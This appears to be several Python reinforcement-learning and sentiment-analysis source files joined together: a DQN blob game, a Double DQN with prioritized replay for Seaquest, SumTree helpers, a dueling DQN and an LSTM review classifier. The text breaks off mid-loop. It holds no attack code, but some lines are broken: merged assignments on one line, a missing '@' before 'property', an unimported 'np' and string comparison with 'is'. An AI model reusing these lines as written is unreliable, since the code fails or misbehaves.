[self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) + + # set the reward to move penalty by default + reward = -self.MOVE_PENALTY + + if self.player == self.food: + # if the player hits the food, good reward + reward = self.FOOD_REWARD + else: + for enemy in self.enemies: + if enemy == self.player: + # if the player hits one of the enemies, heavy punishment + reward = -self.ENEMY_PENALTY + break + + done = False + if reward == self.FOOD_REWARD or reward == -self.ENEMY_PENALTY or self.episode_step >= 200: + done = True + return new_observation, reward, done + + def render(self): + img = self.get_image() + img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. + cv2.imshow("image", np.array(img)) # show it! + cv2.waitKey(1) + + # FOR CNN # + def get_image(self): + env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size + env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color + for enemy in self.enemies: + env[enemy.x][enemy.y] = self.d[ENEMY_N] # sets the enemy location to red + env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue + img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? + return img + + +env = BlobEnv() + +# For stats +ep_rewards = [-200] + +# For more repetitive results +random.seed(1) +np.random.seed(1) +tf.set_random_seed(1) + +# Memory fraction, used mostly when trai8ning multiple agents +#gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=MEMORY_FRACTION) +#backend.set_session(tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))) + +# Create models folder +if not os.path.isdir('models'): + os.makedirs('models') + + +# Own Tensorboard class +class ModifiedTensorBoard(TensorBoard): + + # Overriding init to set initial step and writer (we want one log file for all .fit() calls) + def __init__(self, **kwargs): + super().__init__(**kwargs) + self.step = 1 + self.writer = tf.summary.FileWriter(self.log_dir) + + # Overriding this method to stop creating default log writer + def set_model(self, model): + pass + + # Overrided, saves logs with our step number + # (otherwise every .fit() will start writing from 0th step) + def on_epoch_end(self, epoch, logs=None): + self.update_stats(**logs) + + # Overrided + # We train for one batch only, no need to save anything at epoch end + def on_batch_end(self, batch, logs=None): + pass + + # Overrided, so won't close writer + def on_train_end(self, _): + pass + + # Custom method for saving own metrics + # Creates writer, writes custom metrics and closes writer + def update_stats(self, **stats): + self._write_logs(stats, self.step) + + +# Agent class +class DQNAgent: + def __init__(self, state_in_image=True): + + self.state_in_image = state_in_image + + # Main model + self.model = self.create_model() + + # Target network + self.target_model = self.create_model() + self.target_model.set_weights(self.model.get_weights()) + + # An array with last n steps for training + self.replay_memory = deque(maxlen=REPLAY_MEMORY_SIZE) + + # Custom tensorboard object + self.tensorboard = ModifiedTensorBoard(log_dir="logs/{}-{}".format(MODEL_NAME, int(time.time()))) + + # Used to count when to update target network with main network's weights + self.target_update_counter = 0 + + def create_model(self): + # get the NN input length + model = Sequential() + if self.state_in_image: + model.add(Conv2D(256, (3, 3), input_shape=env.OBSERVATION_SPACE_VALUES)) # OBSERVATION_SPACE_VALUES = (10, 10, 3) a 10x10 RGB image. + model.add(Activation('relu')) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Conv2D(256, (3, 3))) + model.add(Activation('relu')) + model.add(MaxPooling2D(pool_size=(2, 2))) + model.add(Dropout(0.2)) + + model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors + model.add(Dense(32)) + else: + # model.add(Dense(32, activation="relu", input_shape=(env.n_states,))) + # model.add(Dense(32, activation="relu")) + # model.add(Dropout(0.2)) + # model.add(Dense(32, activation="relu")) + # model.add(Dropout(0.2)) + model.add(LSTM(128, activation="relu", input_shape=(None, env.n_states,), return_sequences=True)) + model.add(Dropout(0.3)) + model.add(LSTM(128, activation="relu", return_sequences=True)) + model.add(Dropout(0.3)) + model.add(LSTM(128, activation="relu", return_sequences=False)) + model.add(Dropout(0.3)) + + model.add(Dense(env.ACTION_SPACE_SIZE, activation='linear')) # ACTION_SPACE_SIZE = how many choices (9) + model.compile(loss="mse", optimizer=Adam(lr=0.001), metrics=['accuracy']) + return model + + # Adds step's data to a memory replay array + # (observation space, action, reward, new observation space, done) + def update_replay_memory(self, transition): + self.replay_memory.append(transition) + + # Trains main network every step during episode + def train(self, terminal_state, step): + + # Start training only if certain number of samples is already saved + if len(self.replay_memory) < MIN_REPLAY_MEMORY_SIZE: + return + + # Get a minibatch of random samples from memory replay table + minibatch = random.sample(self.replay_memory, MINIBATCH_SIZE) + + # Get current states from minibatch, then query NN model for Q values + if self.state_in_image: + current_states = np.array([transition[0] for transition in minibatch])/255 + else: + current_states = np.array([transition[0] for transition in minibatch]) + current_qs_list = self.model.predict(np.expand_dims(current_states, axis=1)) + + # Get future states from minibatch, then query NN model for Q values + # When using target network, query it, otherwise main network should be queried + if self.state_in_image: + new_current_states = np.array([transition[3] for transition in minibatch])/255 + else: + new_current_states = np.array([transition[3] for transition in minibatch]) + future_qs_list = self.target_model.predict(np.expand_dims(new_current_states, axis=1)) + + X = [] + y = [] + + # Now we need to enumerate our batches + for index, (current_state, action, reward, new_current_state, done) in enumerate(minibatch): + + # If not a terminal state, get new q from future states, otherwise set it to 0 + # almost like with Q Learning, but we use just part of equation here + if not done: + max_future_q = np.max(future_qs_list[index]) + new_q = reward + DISCOUNT * max_future_q + else: + new_q = reward + + # Update Q value for given state + current_qs = current_qs_list[index] + current_qs[action] = new_q + + # And append to our training data + X.append(current_state) + y.append(current_qs) + + # Fit on all samples as one batch, log only on terminal state + if self.state_in_image: + self.model.fit(np.array(X)/255, np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) + else: + # self.model.fit(np.array(X), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) + self.model.fit(np.expand_dims(X, axis=1), np.array(y), batch_size=MINIBATCH_SIZE, verbose=0, shuffle=False, callbacks=[self.tensorboard] if terminal_state else None) + + + # Update target network counter every episode + if terminal_state: + self.target_update_counter += 1 + + # If counter reaches set value, update target network with weights of main network + if self.target_update_counter > UPDATE_TARGET_EVERY: + self.target_model.set_weights(self.model.get_weights()) + self.target_update_counter = 0 + + # Queries main network for Q values given current observation space (environment state) + def get_qs(self, state): + if self.state_in_image: + return self.model.predict(np.array(state).reshape(-1, *state.shape)/255)[0] + else: + # return self.model.predict(np.array(state).reshape(1, env.n_states))[0] + return self.model.predict(np.array(state).reshape(1, 1, env.n_states))[0] + + +agent = DQNAgent(state_in_image=False) +print("Number of states:", env.n_states) +# agent.model.load_weights("models/2x32____22.00max___-2.44avg_-200.00min__1563463022.model") +# Iterate over episodes +for episode in tqdm(range(1, EPISODES + 1), ascii=True, unit='episodes'): + + # Update tensorboard step every episode + agent.tensorboard.step = episode + + # Restarting episode - reset episode reward and step number + episode_reward = 0 + step = 1 + + # Reset environment and get initial state + current_state = env.reset() + + # Reset flag and start iterating until episode ends + done = False + while not done: + + # This part stays mostly the same, the change is to query a model for Q values + if np.random.random() > epsilon: + # Get action from Q table + action = np.argmax(agent.get_qs(current_state)) + else: + # Get random action + action = np.random.randint(0, env.ACTION_SPACE_SIZE) + + new_state, reward, done = env.step(action) + + # Transform new continous state to new discrete state and count reward + episode_reward += reward + + if SHOW_PREVIEW and not episode % AGGREGATE_STATS_EVERY: + env.render() + + # Every step we update replay memory and train main network + agent.update_replay_memory((current_state, action, reward, new_state, done)) + agent.train(done, step) + + current_state = new_state + step += 1 + + # Append episode reward to a list and log stats (every given number of episodes) + ep_rewards.append(episode_reward) + if not episode % AGGREGATE_STATS_EVERY or episode == 1: + average_reward = sum(ep_rewards[-AGGREGATE_STATS_EVERY:])/len(ep_rewards[-AGGREGATE_STATS_EVERY:]) + min_reward = min(ep_rewards[-AGGREGATE_STATS_EVERY:]) + max_reward = max(ep_rewards[-AGGREGATE_STATS_EVERY:]) + agent.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward, epsilon=epsilon) + + # Save model, but only when min reward is greater or equal a set value + if average_reward >= -220: + agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') + + # Decay epsilon + if epsilon > MIN_EPSILON: + epsilon *= EPSILON_DECAY + epsilon = max(MIN_EPSILON, epsilon) + +agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') + + + + +# OpenGym Seaquest-v0 +# ------------------- +# +# This code demonstrates a Double DQN network with Priority Experience Replay +# in an OpenGym Seaquest-v0 environment. +# +# Made as part of blog series Let's make a DQN, available at: +# https://jaromiru.com/2016/11/07/lets-make-a-dqn-double-learning-and-prioritized-experience-replay/ +# +# author: Jaromir Janisch, 2016 + +import matplotlib +import random, numpy, math, gym, scipy +import tensorflow as tf +import time +from SumTree import SumTree +from keras.callbacks import TensorBoard +from collections import deque +import tqdm + +IMAGE_WIDTH = 84 +IMAGE_HEIGHT = 84 +IMAGE_STACK = 2 + +HUBER_LOSS_DELTA = 2.0 +LEARNING_RATE = 0.00045 + + +#-------------------- Modified Tensorboard ----------------------- +class RLTensorBoard(TensorBoard): + + def __init__(self, **kwargs): + """ + Overriding init to set initial step and writer (one log file for multiple .fit() calls) + """ + super().__init__(**kwargs) + self.step = 1 + self.writer = tf.summary.FileWriter(self.log_dir) + + def set_model(self, model): + """ + Overriding this method to stop creating default log writer + """ + pass + + def on_epoch_end(self, epoch, logs=None): + """ + Overrided, saves logs with our step number + (if this is not overrided, every .fit() call will start from 0th step) + """ + self.update_stats(**logs) + + def on_batch_end(self, batch, logs=None): + """ + Overrided, we train for one batch only, no need to save anything on batch end + """ + pass + + def on_train_end(self, _): + """ + Overrided, we don't close the writer + """ + pass + + def update_stats(self, **stats): + """ + Custom method for saving own metrics + Creates writer, writes custom metrics and closes writer + """ + self._write_logs(stats, self.step) + +#-------------------- UTILITIES ----------------------- +def huber_loss(y_true, y_pred): + err = y_true - y_pred + + cond = K.abs(err) < HUBER_LOSS_DELTA + L2 = 0.5 * K.square(err) + L1 = HUBER_LOSS_DELTA * (K.abs(err) - 0.5 * HUBER_LOSS_DELTA) + + loss = tf.where(cond, L2, L1) # Keras does not cover where function in tensorflow :-( + + return K.mean(loss) + +def processImage( img ): + rgb = scipy.misc.imresize(img, (IMAGE_WIDTH, IMAGE_HEIGHT), interp='bilinear') + + r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2] + gray = 0.2989 * r + 0.5870 * g + 0.1140 * b # extract luminance + + o = gray.astype('float32') / 128 - 1 # normalize + return o + +#-------------------- BRAIN --------------------------- +from keras.models import Sequential +from keras.layers import * +from keras.optimizers import * + +model_name = "conv2dx3" + +class Brain: + def __init__(self, stateCnt, actionCnt): + self.stateCnt = stateCnt + self.actionCnt = actionCnt + + self.model = self._createModel() + self.model_ = self._createModel() # target network + # custom tensorboard + self.tensorboard = RLTensorBoard(log_dir="logs/{}-{}".format(model_name, int(time.time()))) + + def _createModel(self): + model = Sequential() + + model.add(Conv2D(32, (8, 8), strides=(4,4), activation='relu', input_shape=(self.stateCnt), data_format='channels_first')) + model.add(Conv2D(64, (4, 4), strides=(2,2), activation='relu')) + model.add(Conv2D(64, (3, 3), activation='relu')) + model.add(Flatten()) + model.add(Dense(units=512, activation='relu')) + + model.add(Dense(units=actionCnt, activation='linear')) + + opt = RMSprop(lr=LEARNING_RATE) + model.compile(loss=huber_loss, optimizer=opt) + + return model + + def train(self, x, y, epochs=1, verbose=0): + self.model.fit(x, y, batch_size=32, epochs=epochs, verbose=verbose, callbacks=[self.tensorboard]) + + def predict(self, s, target=False): + if target: + return self.model_.predict(s) + else: + return self.model.predict(s) + + def predictOne(self, s, target=False): + return self.predict(s.reshape(1, IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT), target).flatten() + + def updateTargetModel(self): + self.model_.set_weights(self.model.get_weights()) + +#-------------------- MEMORY -------------------------- +class Memory: # stored as ( s, a, r, s_ ) in SumTree + e = 0.01 + a = 0.6 + + def __init__(self, capacity): + self.tree = SumTree(capacity) + + def _getPriority(self, error): + return (error + self.e) ** self.a + + def add(self, error, sample): + p = self._getPriority(error) + self.tree.add(p, sample) + + def sample(self, n): + batch = [] + segment = self.tree.total() / n + + for i in range(n): + a = segment * i + b = segment * (i + 1) + + s = random.uniform(a, b) + (idx, p, data) = self.tree.get(s) + batch.append( (idx, data) ) + + return batch + + def update(self, idx, error): + p = self._getPriority(error) + self.tree.update(idx, p) + +#-------------------- AGENT --------------------------- +MEMORY_CAPACITY = 50_000 + +BATCH_SIZE = 32 + +GAMMA = 0.95 + +MAX_EPSILON = 1 +MIN_EPSILON = 0.05 + +EXPLORATION_STOP = 500_000 # at this step epsilon will be 0.01 +LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay + +UPDATE_TARGET_FREQUENCY = 10_000 +UPDATE_STATS_EVERY = 5 +RENDER_EVERY = 50 + +class Agent: + steps = 0 + epsilon = MAX_EPSILON + + def __init__(self, stateCnt, actionCnt, brain): + self.stateCnt = stateCnt + self.actionCnt = actionCnt + + self.brain = brain + # self.memory = Memory(MEMORY_CAPACITY) + + def act(self, s): + if random.random() < self.epsilon: + return random.randint(0, self.actionCnt-1) + else: + return numpy.argmax(self.brain.predictOne(s)) + + def observe(self, sample): # in (s, a, r, s_) format + x, y, errors = self._getTargets([(0, sample)]) + self.memory.add(errors[0], sample) + + if self.steps % UPDATE_TARGET_FREQUENCY == 0: + self.brain.updateTargetModel() + + # slowly decrease Epsilon based on our eperience + self.steps += 1 + self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps) + + def _getTargets(self, batch): + no_state = numpy.zeros(self.stateCnt) + + states = numpy.array([ o[1][0] for o in batch ]) + states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ]) + + p = agent.brain.predict(states) + + p_ = agent.brain.predict(states_, target=False) + pTarget_ = agent.brain.predict(states_, target=True) + + x = numpy.zeros((len(batch), IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT)) + y = numpy.zeros((len(batch), self.actionCnt)) + errors = numpy.zeros(len(batch)) + + for i in range(len(batch)): + o = batch[i][1] + s = o[0] a = o[1] r = o[2] s_ = o[3] + + t = p[i] + oldVal = t[a] + if s_ is None: + t[a] = r + else: + t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN + + x[i] = s + y[i] = t + errors[i] = abs(oldVal - t[a]) + + return (x, y, errors) + + def replay(self): + batch = self.memory.sample(BATCH_SIZE) + x, y, errors = self._getTargets(batch) + + # update errors + for i in range(len(batch)): + idx = batch[i][0] + self.memory.update(idx, errors[i]) + + self.brain.train(x, y) + +class RandomAgent: + memory = Memory(MEMORY_CAPACITY) + exp = 0 + epsilon = MAX_EPSILON + + def __init__(self, actionCnt, brain): + self.actionCnt = actionCnt + self.brain = brain + + def act(self, s): + return random.randint(0, self.actionCnt-1) + + def observe(self, sample): # in (s, a, r, s_) format + error = abs(sample[2]) # reward + self.memory.add(error, sample) + self.exp += 1 + + def replay(self): + pass + +#-------------------- ENVIRONMENT --------------------- +class Environment: + def __init__(self, problem): + self.problem = problem + self.env = gym.make(problem) + self.ep_rewards = deque(maxlen=UPDATE_STATS_EVERY) + + def run(self, agent, step): + img = self.env.reset() + w = processImage(img) + s = numpy.array([w, w]) + agent.brain.tensorboard.step = step + R = 0 + while True: + if step % RENDER_EVERY == 0: + self.env.render() + a = agent.act(s) + + img, r, done, info = self.env.step(a) + s_ = numpy.array([s[1], processImage(img)]) #last two screens + + r = np.clip(r, -1, 1) # clip reward to [-1, 1] + + if done: # terminal state + s_ = None + + agent.observe( (s, a, r, s_) ) + agent.replay() + + s = s_ + R += r + + if done: + break + + + self.ep_rewards.append(R) + avg_reward = sum(self.ep_rewards) / len(self.ep_rewards) + if step % UPDATE_STATS_EVERY == 0: + min_reward = min(self.ep_rewards) + max_reward = max(self.ep_rewards) + agent.brain.tensorboard.update_stats(reward_avg=avg_reward, reward_min=min_reward, reward_max=max_reward, epsilon=agent.epsilon) + agent.brain.model.save(f"models/{model_name}-avg-{avg_reward:.2f}-min-{min_reward:.2f}-max-{max_reward:2f}.h5") + # print("Total reward:", R) + return avg_reward + +#-------------------- MAIN ---------------------------- +PROBLEM = 'Seaquest-v0' +env = Environment(PROBLEM) + +episodes = 2_000 + +stateCnt = (IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT) +actionCnt = env.env.action_space.n + +brain = Brain(stateCnt, actionCnt) + +agent = Agent(stateCnt, actionCnt, brain) +randomAgent = RandomAgent(actionCnt, brain) + +step = 0 +try: + print("Initialization with random agent...") + while randomAgent.exp < MEMORY_CAPACITY: + step += 1 + env.run(randomAgent, step) + print(randomAgent.exp, "/", MEMORY_CAPACITY) + + agent.memory = randomAgent.memory + + randomAgent = None + + print("Starting learning") + for i in tqdm.tqdm(list(range(step+1, episodes+step+1))): + env.run(agent, i) +finally: + agent.brain.model.save("Seaquest-DQN-PER.h5") + + + + +import numpy as np + +class SumTree: + """ + This SumTree code is modified version of Morvan Zhou: + https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/5.2_Prioritized_Replay_DQN/RL_brain.py + """ + data_pointer = 0 + def __init__(self, length): + # number of leaf nodes (final nodes that contains experiences) + self.length = length + + # generate the tree with all nodes' value = 0 + # binary node (each node has max 2 children) so 2x size of leaf capacity - 1 + # parent nodes = length - 1 + # leaf nodes = length + self.tree = np.zeros(2*self.length - 1) + # contains the experiences + self.data = np.zeros(self.length, dtype=object) + + def add(self, priority, data): + """ + Add priority score in the sumtree leaf and add the experience in data + """ + # look at what index we want to put the experience + tree_index = self.data_pointer + self.length - 1 + + #tree: + # 0 + # / \ + # 0 0 + # / \ / \ + #tree_index 0 0 0 We fill the leaves from left to right + + self.data[self.data_pointer] = data + + # update the leaf + self.update(tree_index, priority) + + # increment data pointer + self.data_pointer += 1 + + # if we're above the capacity, we go back to the first index + if self.data_pointer >= self.length: + self.data_pointer = 0 + + + def update(self, tree_index, priority): + """ + Update the leaf priority score and propagate the change through the tree + """ + + # change = new priority score - former priority score + change = priority - self.tree[tree_index] + self.tree[tree_index] = priority + + while tree_index != 0: # this method is faster than the recursive loop in the reference code + + """ + Here we want to access the line above + THE NUMBERS IN THIS TREE ARE THE INDEXES NOT THE PRIORITY VALUES + + 0 + / \ + 1 2 + / \ / \ + 3 4 5 [6] + + If we are in leaf at index 6, we updated the priority score + We need then to update index 2 node + So tree_index = (tree_index - 1) // 2 + tree_index = (6-1)//2 + tree_index = 2 (because // round the result) + """ + tree_index = (tree_index - 1) // 2 + self.tree[tree_index] += change + + + """ + Here we get the leaf_index, priority value of that leaf and experience associated with that index + """ + def get_leaf(self, v): + """ + Tree structure and array storage: + Tree index: + 0 -> storing priority sum + / \ + 1 2 + / \ / \ + 3 4 5 6 -> storing priority for experiences + Array type for storing: + [0,1,2,3,4,5,6] + """ + parent_index = 0 + + while True: # the while loop is faster than the method in the reference code + left_child_index = 2 * parent_index + 1 + right_child_index = left_child_index + 1 + + # If we reach bottom, end the search + if left_child_index >= len(self.tree): + leaf_index = parent_index + break + + else: # downward search, always search for a higher priority node + + if v <= self.tree[left_child_index]: + parent_index = left_child_index + + else: + v -= self.tree[left_child_index] + parent_index = right_child_index + + data_index = leaf_index - self.length + 1 + + return leaf_index, self.tree[leaf_index], self.data[data_index] + + property + def total_priority(self): + return self.tree[0] # Returns the root node + + + +class Memory: + # we use this to avoid some experiences to have 0 probability of getting picked + PER_e = 0.01 + # we use this to make a tradeoff between taking only experiences with high priority + # and sampling randomly + PER_a = 0.6 + # we use this for importance sampling, from this to 1 through the training + PER_b = 0.4 + + PER_b_increment_per_sample = 0.001 + + absolute_error_upper = 1.0 + + def __init__(self, capacity): + # the tree is composed of a sum tree that contains the priority scores and his leaf + # and also a data list + # we don't use deque here because it means that at each timestep our experiences change index by one + # we prefer to use a simple array to override when the memory is full + self.tree = SumTree(length=capacity) + + def store(self, experience): + """ + Store a new experience in our tree + Each new experience have a score of max_priority (it'll be then improved) + """ + # find the max priority + max_priority = np.max(self.tree.tree[-self.tree.length:]) + + # if the max priority = 0 we cant put priority = 0 since this exp will never have a chance to be picked + # so we use a minimum priority + if max_priority == 0: + max_priority = self.absolute_error_upper + + # set the max p for new p + self.tree.add(max_priority, experience) + + def sample(self, n): + """ + - First, to sample a minimatch of k size, the range [0, priority_total] is / into k ranges. + - then a value is uniformly sampled from each range + - we search in the sumtree, the experience where priority score correspond to sample values are + retrieved from. + - then, we calculate IS weights for each minibatch element + """ + # create a sample list that will contains the minibatch + memory = [] + + b_idx, b_is_weights = np.zeros((n, ), dtype=np.int32), np.zeros((n, 1), dtype=np.float32) + + # calculate the priority segment + # here, as explained in the paper, we divide the range [0, ptotal] into n ranges + priority_segment = self.tree.total_priority / n + + # increase b each time + self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sample]) + + # calculating the max weight + p_min = np.min(self.tree.tree[-self.tree.length:]) / self.tree.total_priority + max_weight = (p_min * n) ** (-self.PER_b) + + for i in range(n): + a, b = priority_segment * i, priority_segment * (i + 1) + value = np.random.uniform(a, b) + + # experience that correspond to each value is retrieved + index, priority, data = self.tree.get_leaf(value) + + # P(j) + sampling_probs = priority / self.tree.total_priority + + # IS = (1/N * 1/P(i))**b /max wi == (N*P(i))**-b /max wi + b_is_weights[i, 0] = np.power(n * sampling_probs, -self.PER_b)/ max_weight + + b_idx[i]= index + + experience = [data] + + memory.append(experience) + + return b_idx, memory, b_is_weights + + + + def batch_update(self, tree_idx, abs_errors): + """ + Update the priorities on the tree + """ + abs_errors += self.PER_e + clipped_errors = np.min([abs_errors, self.absolute_error_upper]) + ps = np.power(clipped_errors, self.PER_a) + + for ti, p in zip(tree_idx, ps): + self.tree.update(ti, p) + + + + +import tensorflow as tf + +class DDDQNNet: + """ Dueling Double Deep Q Neural Network """ + def __init__(self, state_size, action_size, learning_rate, name): + self.state_size = state_size + self.action_size = action_size + self.learning_rate = learning_rate + self.name = name + + # we use tf.variable_scope to know which network we're using (DQN or the Target net) + # it'll be helpful when we will update our w- parameters (by copy the DQN parameters) + with tf.variable_scope(self.name): + # we create the placeholders + self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name="inputs") + + self.is_weights_ = tf.placeholder(tf.float32, [None, 1], name="is_weights") + + self.actions_ = tf.placeholder(tf.float32, [None, self.action_size], name="actions_") + + # target Q + self.target_q = tf.placeholder(tf.float32, [None], name="target") + + # neural net + self.dense1 = tf.layers.dense(inputs=self.inputs_, + units=32, + name="dense1", + kernel_initializer=tf.contrib.layers.xavier_initializer(), + activation="relu") + + self.dense2 = tf.layers.dense(inputs=self.dense1, + units=32, + name="dense2", + kernel_initializer=tf.contrib.layers.xavier_initializer(), + activation="relu") + + self.dense3 = tf.layers.dense(inputs=self.dense2, + units=32, + name="dense3", + kernel_initializer=tf.contrib.layers.xavier_initializer()) + + # here we separate into two streams (dueling) + # this one is State-Function V(s) + self.value = tf.layers.dense(inputs=self.dense3, + units=1, + kernel_initializer=tf.contrib.layers.xavier_initializer(), + activation=None, + name="value" + ) + + # and this one is Value-Function A(s, a) + self.advantage = tf.layers.dense(inputs=self.dense3, + units=self.action_size, + activation=None, + kernel_initializer=tf.contrib.layers.xavier_initializer(), + name="advantage" + ) + + # aggregation + # Q(s, a) = V(s) + ( A(s, a) - 1/|A| * sum A(s, a') ) + + self.output = self.value + tf.subtract(self.advantage, tf.reduce_mean(self.advantage, axis=1, keepdims=True)) + + # Q is our predicted Q value + self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_)) + + self.absolute_errors = tf.abs(self.target_q - self.Q) + + # w- * (target_q - q)**2 + self.loss = tf.reduce_mean(self.is_weights_ * tf.squared_difference(self.target_q, self.Q)) + + + self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss) + + + + +import numpy + +class SumTree: + write = 0 + + def __init__(self, capacity): + self.capacity = capacity + self.tree = numpy.zeros( 2*capacity - 1 ) + self.data = numpy.zeros( capacity, dtype=object ) + + def _propagate(self, idx, change): + parent = (idx - 1) // 2 + + self.tree[parent] += change + + if parent != 0: + self._propagate(parent, change) + + def _retrieve(self, idx, s): + left = 2 * idx + 1 + right = left + 1 + + if left >= len(self.tree): + return idx + + if s <= self.tree[left]: + return self._retrieve(left, s) + else: + return self._retrieve(right, s-self.tree[left]) + + def total(self): + return self.tree[0] + + def add(self, p, data): + idx = self.write + self.capacity - 1 + + self.data[self.write] = data + self.update(idx, p) + + self.write += 1 + if self.write >= self.capacity: + self.write = 0 + + def update(self, idx, p): + change = p - self.tree[idx] + + self.tree[idx] = p + self._propagate(idx, change) + + def get(self, s): + idx = self._retrieve(0, s) + dataIdx = idx - self.capacity + 1 + + return (idx, self.tree[idx], self.data[dataIdx]) + + + + +import numpy as np + +from string import punctuation +from collections import Counter +from sklearn.model_selection import train_test_split + + +with open("data/reviews.txt") as f: + reviews = f.read() + +with open("data/labels.txt") as f: + labels = f.read() + +# remove all punctuations +all_text = ''.join([ c for c in reviews if c not in punctuation ]) + +reviews = all_text.split("\n") +reviews = [ review.strip() for review in reviews ] +all_text = ' '.join(reviews) +words = all_text.split() +print("Total words:", len(words)) + +# encoding the words + +# dictionary that maps vocab words to integers here +vocab = sorted(set(words)) +print("Unique words:", len(vocab)) +# start is 1 because 0 is encoded for blank +vocab2int = {word: i for i, word in enumerate(vocab, start=1)} + +# encoded reviews +encoded_reviews = [] +for review in reviews: + encoded_reviews.append([vocab2int[word] for word in review.split()]) + +encoded_reviews = np.array(encoded_reviews) +# print("Number of reviews:", len(encoded_reviews)) + +# encode the labels, 1 for 'positive' and 0 for 'negative' +labels = labels.split("\n") +labels = [1 if label is 'positive' else 0 for label in labels] +# print("Number of labels:", len(labels)) + +review_lens = [len(x) for x in encoded_reviews] +counter_reviews_lens = Counter(review_lens) + +# remove any reviews with 0 length +cleaned_encoded_reviews, cleaned_labels = [], [] +for review, label in zip(encoded_reviews, labels): + if len(review) != 0: + cleaned_encoded_reviews.append(review) + cleaned_labels.append(label) + +encoded_reviews = np.array(cleaned_encoded_reviews) +labels = cleaned_labels +# print("Number of reviews:", len(encoded_reviews)) +# print("Number of labels:", len(labels)) + +sequence_length = 200 +features = np.zeros((len(encoded_reviews), sequence_length), dtype=int) +for i, review in enumerate(encoded_reviews): + features[i, -len(review):] = review[:sequence_length] + +# print(features[:10, :100]) + +# split data into train, validation and test +split_frac = 0.9 + +X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=1-split_frac) +X_test, X_validation, y_test, y_validation = train_test_split(X_test, y_test, test_size=0.5) + +print(f"""Features shapes: +Train set: {X_train.shape} +Validation set: {X_validation.shape} +Test set: {X_test.shape}""") +print("Example:") +print(X_train[0]) +print(y_train[0]) + +# X_train, X_validation = features[:split_frac*len(features)], features[split_frac*len(features):] +# y_train, y_validation = labels[:split] + + + + +import tensorflow as tf +from utils import get_batches +from train import * + + + + +import tensorflow as tf +from preprocess import vocab2int, X_train, y_train, X_validation, y_validation, X_test, y_test +from utils import get_batches + +import numpy as np + +def get_lstm_cell(): + # basic LSTM cell + lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) + + # dropout to the cell + drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) + + return drop + +# RNN paramaters +lstm_size = 256 +lstm_layers = 1 +batch_size = 256 +learning_rate = 0.001 + +n_words = len(vocab2int) + 1 # Added 1 for the 0 that is for padding + +# create the graph object +graph = tf.Graph() +# add nodes to the graph +with graph.as_default(): + inputs = tf.placeholder(tf.int32, (None, None), "inputs") + labels = tf.placeholder(tf.int32, (None, None), "labels") + keep_prob = tf.placeholder(tf.float32, name="keep_prob") + +# number of units in the embedding layer +embedding_size = 300 + +with graph.as_default(): + # embedding lookup matrix + embedding = tf.Variable(tf.random_uniform((n_words, embedding_size), -1, 1)) + # pass to the LSTM cells + embed = tf.nn.embedding_lookup(embedding, inputs) + + # stackup multiple LSTM layers + cell = tf.contrib.rnn.MultiRNNCell([get_lstm_cell() for i in range(lstm_layers)]) + + initial_state = cell.zero_state(batch_size, tf.float32) + + # pass cell and input to cell, returns outputs for each time step + # and the final state of the hidden layer + # run the data through the rnn nodes + outputs, final_state = tf.nn.dynamic_rnn(cell, embed, initial_state=initial_state) + + # grab the last output + # use sigmoid for binary classification + predictions = tf.contrib.layers.fully_connected(outputs[:, -1], 1, activation_fn=tf.sigmoid) + + # calculate cost using MSE + cost = tf.losses.mean_squared_error(labels, predictions) + optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost) + + # nodes to calculate the accuracy + correct_pred = tf.equal(tf.cast(tf.round(predictions), tf.int32), labels) + accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) + + saver = tf.train.Saver() + +########### training ########## +epochs = 10 + +with tf.Session(graph=graph) as sess: + sess.run(tf.global_variables_initializer()) + iteration = 1 + + for e in range(epochs): + state = sess.run(initial_state) + + for i, (x, y) in enumerate(get_batches(X_train, y_train, batch_size=batch_size)): + y = np.array(y) + x = np.array(x) + feed = {inputs: x, labels: y[:, None], + keep_prob: 0.5, + initial_state: state} + loss, state, _ = sess.run([cost, final_state, optimizer], feed_dict=feed) + + if iteration % 5 == 0: + print(f"[Epoch: {e}/{epochs}] Iteration: {iteration} Train loss: {loss:.3f}") + + if iteration % 25 == 0: + val_acc = [] + val_state = sess.run(cell.zero_state(batch_size, tf.float32)) + for x, y in get_batches(X_validation, y_validation, 